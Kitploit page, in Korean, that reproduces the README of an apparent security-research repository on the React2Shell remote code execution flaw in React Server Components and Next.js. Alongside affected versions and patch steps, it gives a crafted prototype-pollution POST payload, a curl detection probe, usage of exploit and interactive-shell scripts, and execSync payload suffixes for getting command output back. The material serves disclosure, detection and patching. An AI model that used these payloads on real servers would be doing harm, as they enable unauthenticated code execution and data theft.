Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/freeqaz/react2shell
Dynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubfreeqaz/react2shell

react2shell

CVE-2025-55182 및 CVE-2025-66478 분석 -- React2Shell의 기반이 되는 취약점. 도구, 기술 정보 등

68188개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

React2Shell: React Server Components에서의 RCE 제로데이

CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)

이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용되는 익스플로잇 코드를 포함하고 있습니다.

참고: 여러 연구자들이 이 취약점에 대한 분석을 발표했습니다. 추가 관점, 익스플로잇 기법 및 탐지 방법은 참고 자료 섹션을 확인하세요.

개요

2025년 12월 3일 수요일, React Server Components에서 심각한 원격 코드 실행(RCE) 취약점이 공개적으로 공개되었습니다. "React2Shell"이라는 이름이 붙은 이 버그는 인증되지 않은 공격자가 단일 HTTP 요청을 보내 취약한 버전의 React RSC 또는 Next.js App Router를 실행하는 모든 서버에서 임의의 코드를 실행할 수 있도록 합니다.

Next.js가 현대 웹의 상당 부분을 차지할 정도로 보편화되었기 때문에, 이 취약점의 영향은 심각합니다. App Router(Next.js 13 이후 새 프로젝트의 기본값)를 사용하고 RSC가 활성화된 모든 Next.js 애플리케이션이 취약합니다. 특별한 설정이 필요하지 않습니다. 특정 엔드포인트도 필요하지 않습니다. 모든 경로에 POST 요청만 보내면 됩니다.

취약점은 React의 "Flight" 프로토콜, 즉 React Server Components에서 서버와 클라이언트 간에 데이터를 전달하는 데 사용되는 직렬화 형식에 존재합니다. 역직렬화 중 hasOwnProperty 검사가 누락되어 프로토타입 체인을 탐색할 수 있게 되고, 궁극적으로 JavaScript Function 생성자에 도달하여 공격자가 제어하는 코드를 실행할 수 있습니다.

이 결함은 React의 react-server-dom-webpack, react-server-dom-turbopack 및 react-server-dom-parcel 패키지에 존재합니다. 지배적인 RSC 소비자인 Next.js는 App Router를 통해 이 취약점을 상속합니다.

누가 영향을 받나요?

많은 서비스가 잠재적으로 취약합니다. Next.js는 가장 인기 있는 React 프레임워크 중 하나이며, 스타트업부터 대기업까지 모든 규모의 회사에서 사용합니다. React Server Components를 사용하는 App Router는 Next.js 13부터 새 Next.js 프로젝트의 기본 아키텍처였으므로, 대부분의 최신 Next.js 배포가 영향을 받습니다.

다음을 사용하는 모든 애플리케이션:

  • 취약한 react-server-dom-* 패키지(19.0.0 - 19.2.0)를 사용하는 React Server Components
  • Next.js App Router 버전 15.x (15.0.5 미만) 및 16.x (16.0.7 미만)

여기에는 Vercel, AWS, 자체 호스팅 인프라 및 Next.js App Router 애플리케이션이 실행되는 모든 곳의 프로덕션 배포가 포함됩니다.

영향을 받지 않음:

  • Next.js Pages Router 애플리케이션(RSC 없음)
  • Next.js 13.x 및 14.x 안정적인 릴리스
  • React 클라이언트 측 렌더링만 사용하는 애플리케이션
  • Edge Runtime 배포(사용 가능한 process.mainModule 없음)

취약한 버전

React Server Components

패키지취약한 버전패치된 버전
react-server-dom-webpack

Next.js

완화 방법

즉시 업그레이드하세요. 우회 방법은 없습니다.

Next.js 애플리케이션의 경우:

root@kitploit:~
npm install next@latest
# 또는
pnpm update next

직접 React RSC를 사용하는 경우:

root@kitploit:~
npm install react-server-dom-webpack@latest

설치된 버전을 확인하세요:

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

익스플로잇 작동 방식

익스플로잇 요구 사항

  1. 취약한 React Server Components(Next.js App Router 또는 직접 RSC 사용을 통해)를 실행하는 서버
  2. HTTP POST 요청을 보낼 수 있는 네트워크 접근
  3. 그게 전부입니다. 인증 불필요. 특정 엔드포인트 불필요. 모든 경로 작동.

공격

이 취약점에 대해 여러 공격 벡터가 발견되었습니다. 가장 일반적이고 전제 조건 없이 작동하는 것은 React의 Flight 프로토콜 참조 시스템을 통한 프로토타입 오염을 사용합니다.

익스플로잇은 Next-Action 헤더와 함께 조작된 multipart POST 요청을 보냅니다. 페이로드는 참조 시스템을 악용하여 다음을 수행합니다:

  1. $1:__proto__:then을 통해 프로토타입 체인 탐색
  2. React의 내부 Chunk 클래스를 모방하는 가짜 "청크" 객체 구성
  3. 역직렬화기가 JavaScript Function 생성자를 호출하도록 속임
  4. 결과 함수가 Promise thenable로 호출될 때 임의 코드 실행
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

코드는 역직렬화 중에 실행되며, 액션 ID 유효성 검사보다 먼저 발생합니다. 즉, 모든 Next-Action 헤더 값이 취약한 코드 경로를 트리거합니다. 유효한 액션 ID가 필요하지 않습니다.

다른 공격 벡터도 존재하며, 여기에는 $F 함수 참조 및 직접 모듈 가젯이 포함됩니다. 이러한 경우 일반적으로 유효한 액션 ID가 필요합니다. 자세한 내용은 대체 공격 벡터를 참조하세요.

근본 원인

React의 Flight 프로토콜은 $1:path:to:value와 같은 참조를 콜론으로 분할하고 객체를 탐색하여 해결합니다:

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // No hasOwnProperty check!
}

아이러니: 이 파일의 맨 위, 35번째 줄:

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

가드가 임포트되었습니다. 사용 가능했습니다. 가장 중요한 루프에서만 사용되지 않았습니다.

이 단일 누락된 검사로 인해 $1:__proto__:then이 청크 객체에서 프로토타입 체인을 따라 Chunk.prototype.then까지 도달할 수 있습니다. 이 함수는 Promise와 유사한 객체를 처리합니다. 올바른 속성으로 가짜 청크를 조작하여 실행될 코드를 제어할 수 있습니다.

로컬 재현

취약한 테스트 서버를 클론하세요:

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

다른 터미널에서:

root@kitploit:~
./detect.sh http://localhost:3443

취약한 서버는 HTTP 500과 응답 본문에 E{"digest"를 반환합니다. RCE를 시연하려면:

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

명령 출력이 응답에 나타납니다. 대화형 탐색의 경우:

root@kitploit:~
./shell.sh http://localhost:3443

이 저장소의 내용

취약한 테스트 서버

vulnerable-next-server/ 디렉토리에는 안전한 로컬 테스트를 위해 사전 구성된 Next.js 16.0.6 + React 19.2.0 애플리케이션이 포함되어 있습니다. 기본적으로 포트 3443에서 실행됩니다. 기본 설정이 취약함을 보여주는 최소한의 App Router 설정입니다.

익스플로잇 스크립트

다양한 시나리오를 처리하기 위해 여러 익스플로잇 변형을 개발했습니다:

프로덕션 참고: React는 프로덕션 빌드에서 오류 메시지를 제거하여 throw 메서드를 손상시킵니다. exploit-redirect.sh만이 프로덕션에서 전제 조건 없이 명령 출력을 안정적으로 캡처합니다. 리디렉션 URL은 오류의 digest 속성(메타데이터)에 저장되며, 이는 삭제되지 않습니다. 반면 message는 {digest: "..."}만 됩니다.

유틸리티 스크립트:

  • detect.sh - 비파괴 취약점 프로브(코드 실행 없음)
  • enumerate-actions.sh - 대상 HTML에서 유효한 서버 액션 ID 검색
  • exfil-file.sh - 청크 파일 유출(대용량 파일 자동 처리)
  • shell.sh - RCE를 통한 대화형 유사 셸

리디렉션 방법은 프로덕션에서 작동하고, 전제 조건이 필요 없으며, 명령 출력을 직접 반환하므로 권장됩니다. 특별히 조작된 NEXT_REDIRECT 오류를 throw하여 작동합니다. 출력은 base64로 인코딩되어 리디렉션 URL에 포함되고 x-action-redirect 헤더에 반환됩니다.

각 스크립트의 자세한 사용법은 USAGE.md 를 참조하세요.

취약한 서버 탐지 방법

빠른 탐지

root@kitploit:~
./detect.sh https://target.com

이는 임의 코드를 실행하지 않고 취약한 코드 경로를 트리거하는 최소 프로브를 보냅니다.

취약한 서버 응답:

  • HTTP 상태: 500
  • Content-Type: text/x-component
  • 본문에 포함: E{"digest"

패치되었거나 RSC가 아닌 서버: 404 반환, 다른 오류 형식, 또는 Flight 프로토콜 응답 없음.

수동 탐지

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

이 프로브는 빈 객체에서 존재하지 않는 속성을 참조합니다. 취약한 서버는 {}.a.a에 접근하려고 시도하여 충돌하고 500을 반환합니다. 패치된 서버에는 충돌을 방지하는 hasOwnProperty 가드가 있습니다.

Next.js App Router 식별

다음 지표를 찾으세요:

  • HTML의 RSC 페이로드: Flight 프로토콜 데이터(0:, 1: 등)를 포함하는 <script> 태그
  • x-nextjs-cache 또는 x-nextjs-matched-path 헤더
  • /_next/ 정적 자산 경로
  • HTML의 서버 액션 ID: 숨겨진 양식 필드의 $ACTION_ID_ 패턴

기술 심층 분석

공격 흐름

다음 다이어그램은 단일 HTTP 요청이 어떻게 원격 코드 실행을 달성하는지 보여줍니다:

root@kitploit:~
sequenceDiagram
    participant A as 공격자
    participant N as Next.js
    participant F as Flight 파서
    participant JS as JS 엔진

    A->>N: Next-Action 헤더 + 악성 페이로드로 POST
    N->>F: multipart 폼 데이터 파싱
    F->>JS: await getRoot - 청크를 thenable로 반환

    rect rgb(80, 20, 20)
        Note over F,JS: 취약점 - hasOwnProperty 검사 없음
        JS->>F: chunk.then이 $1:__proto__:then을 파싱
        F-->>F: Chunk.prototype.then으로 이동
    end

    F->>JS: resolve(attackerObject)
    Note over JS: JS Promise 스펙: resolve(thenable)<br/>thenable.then() 호출
    JS->>F: fakeChunk.then() with 공격자의 _response

    rect rgb(80, 20, 20)
        Note over F,JS: 익스플로잇 - 공격자가 _response를 제어
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = Function 생성자<br/>_prefix = 악성 코드 문자열
        F->>JS: Function(code)가 thenable로 호출됨
    end

    Note over JS: RCE - execSync() 실행

    rect rgb(20, 60, 20)
        Note over A,JS: 출력 유출(리디렉션 방법)
        JS-->>F: base64(출력)와 함께 NEXT_REDIRECT throw
        F-->>N: 오류 전파
        N-->>A: HTTP 303 + x-action-redirect 헤더
    end

Flight 프로토콜

React Server Components는 서버에서 클라이언트로 컴포넌트 트리를 스트리밍하기 위해 "Flight"라는 사용자 정의 직렬화 형식을 사용합니다. 다양한 값 유형에 대해 접두사 코드를 사용합니다:

  • $1, $2, ... - ID로 다른 청크에 대한 참조
  • $@0 - 원시 청크 객체 참조(값 자체가 아닌 청크 자체를 반환)
  • $B0 - Blob 참조(_formData.get(_prefix + id) 트리거)
  • $1:path:to:prop - 참조된 청크의 값에서 경로 탐색

취약점은 $@(원시 참조)와 콜론으로 구분된 경로의 조합을 악용하여 __proto__에 접근합니다.

완전한 공격 체인

1단계: 요청 처리

  1. Next-Action 헤더가 있는 POST가 RSC 액션 처리를 트리거합니다.
  2. Busboy가 multipart 폼 필드를 청크 저장소로 파싱합니다.
  3. await getRoot(response)는 청크 0을 thenable로 반환합니다.

2단계: 프로토타입 탐색

  1. 청크에는 then 메서드가 있습니다 - JS Promise 스펙이 thenable.then(resolve, reject)를 호출합니다.
  2. 페이로드가 파싱됩니다. $1:__proto__:then은 Chunk.prototype.then으로 해석됩니다.
  3. then, status: "resolved_model" 및 _response로 가짜 청크 객체가 생성됩니다.

3단계: 코드 실행

  1. resolve(ourObject)는 다른 then() 호출을 트리거합니다(JS thenable 스펙).
  2. Chunk.prototype.then이 우리가 제어하는 _response 객체를 사용하여 실행됩니다.
  3. $B0은 _formData.get(_prefix + "0")을 트리거합니다 - 둘 다 공격자가 제어합니다.
  4. 구성된 Function이 thenable로 호출됨 → RCE

4단계: 출력 유출 (선택 사항, 리디렉션 방법)

  1. 페이로드가 base64로 인코딩된 명령 출력과 함께 NEXT_REDIRECT 오류를 throw합니다.
  2. Next.js가 리디렉션을 캐치하고 URL 유효성 검사 전에 x-action-redirect 헤더를 설정합니다.
  3. HTTP 303이 출력과 함께 헤더에 담겨 공격자에게 반환됩니다.

출력 캡처 전략

구성된 Function은 thenable로 호출됩니다: fn(resolve, reject). 이를 처리하는 방법에 따라 출력을 다시 받을 수 있는지 여부가 결정됩니다:

권장: Redirect. 프로덕션에서 작동, 전제 조건 없음, x-action-redirect 헤더에 출력.

Blind 접근 방식은 Promise가 절대 해결되지 않아 await가 영원히 차단되므로 연결이 멈춥니다. 이는 발사 후 망각 시나리오(리버스 셸, curl을 통한 대역 외 유출)에 유용합니다.

대체 공격 벡터

핵심 취약점은 세 가지 별개의 공격 클래스를 통해 악용되었습니다. 이 저장소는 첫 번째 접근 방식을 사용합니다. 다른 PoC는 대안을 보여줍니다:

프로토타입 오염에 액션 ID가 필요하지 않은 이유: Multipart 폼 파싱은 청크를 Flight 역직렬화기에 즉시 공급합니다. RCE는 Next.js가 액션 ID의 유효성을 검사하기 전에 청크 참조 해결 중 getOutlinedModel()에서 발생합니다. URL 인코딩된 요청은 먼저 액션 ID의 유효성을 검사합니다(action-handler.ts:768에서 다른 코드 경로).

$F 참조에 액션 ID가 필요한 이유: $F 참조는 loadServerReference()를 트리거하며, 이는 매니페스트 조회를 수행합니다. 액션이 존재하지 않으면 코드 실행 전에 요청이 실패합니다.

모든 PoC 구현 및 장단점에 대한 자세한 분석은 external-pocs/COMPARISON.md를 참조하세요.

프로덕션 vs 개발

React는 프로덕션 빌드에서 오류 세부 정보를 제거합니다. 이는 throw 기반 유출에 영향을 미칩니다:

개발:

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

프로덕션:

root@kitploit:~
{"digest":"..."}

리디렉션 방법은 리디렉션 URL이 message가 아닌 digest 속성에 저장되므로 이를 우회합니다. 헤더는 URL 유효성 검사 전에 조건 없이 설정되므로 잘못된 URL이라도 헤더가 설정됩니다.

감사의 말

핵심 익스플로잇 통찰력(자체 참조 가짜 청크를 생성하기 위해 $@ 원시 청크 참조 사용)은 maple3142의 공로입니다. 여기에서 참조된 탐지 방법론은 Searchlight Cyber / Assetnote에서 제공했습니다.

참고 자료

공식 공개:

  • CVE-2025-55182 - React Server Components RCE
  • CVE-2025-66478 - Next.js 하위 영향
  • React 보안 권고 - 공식 React 공개

커뮤니티 연구:

모든 PoC 구현에 대한 자세한 비교는 external-pocs/COMPARISON.md를 참조하세요.

배경:

  • React Flight Protocol - RSC 직렬화 이해

라이선스

코드는 MIT 라이선스에 따라 라이선스가 부여됩니다. 문서(*.md 파일)는 CC-BY-SA 4.0에 따라 라이선스가 부여됩니다.

도구 다운로드
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
버전 라인취약한 버전패치된 버전
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+
스크립트HTTP출력프로덕션참고
exploit-redirect.sh303x-action-redirect 헤더예권장. 전제 조건 없음.
exploit-throw.sh500오류 응답 본문아니요개발 모드 전용(프로덕션에서는 오류가 정리됨).
exploit-blind.sh200서버 측만예발사 후 망각. OOB 유출에 사용.
exploit-urlencoded.sh303x-action-redirect 헤더예다른 WAF 서명. 액션 ID 필요.
exploit-reflect.sh200응답 본문예가장 은밀함. 액션 ID 필요.
전략페이로드 접미사작동 방식
BlindexecSync('CMD');0실행되지만 절대 해결되지 않음 - 연결이 멈추고 출력 없음
Throwthrow execSync('CMD').toString()Promise 거부, 오류 본문에 출력(개발 모드 전용)
Redirectthrow {digest:'NEXT_REDIRECT;...;'+b64(output)}Next.js 리디렉션 처리 악용, 헤더에 출력
Reflectarguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()])Promise를 출력으로 액션 인수로 해결(유효한 액션 ID 필요)
공격 클래스메커니즘액션 ID 필요예시 PoC
프로토타입 오염$1:__proto__:then traversal to Chunk.prototype아니요react2shell, lachlan2k, joe-desimone
$F 함수 참조$F1 + action#constructor to reach Function예shellinteractive
모듈 가젯module#export 구문(예: child_process#execSync)다양함ejpir 연구
저자기여공격 경로주요 특징
lachlan2k최초 발견자프로토타입 오염Array.map 체이닝, 5-청크 구조, Waku 지원
ejpir가젯 연구모든 경로모듈 가젯 카탈로그, 지속성 공격, 데이터 URI 경로
joe-desimonePython 도구프로토타입 오염리버스 셸 도우미, 콜백 유출, 타임아웃 탐지
labubusDest / MrR0b0t19대화형 셸$F 함수 참조Python REPL, 파일 업로드/다운로드, 내장 테스트 스위트
Searchlight Cyber탐지 방법—고충실도 탐지 방법론, WAF 서명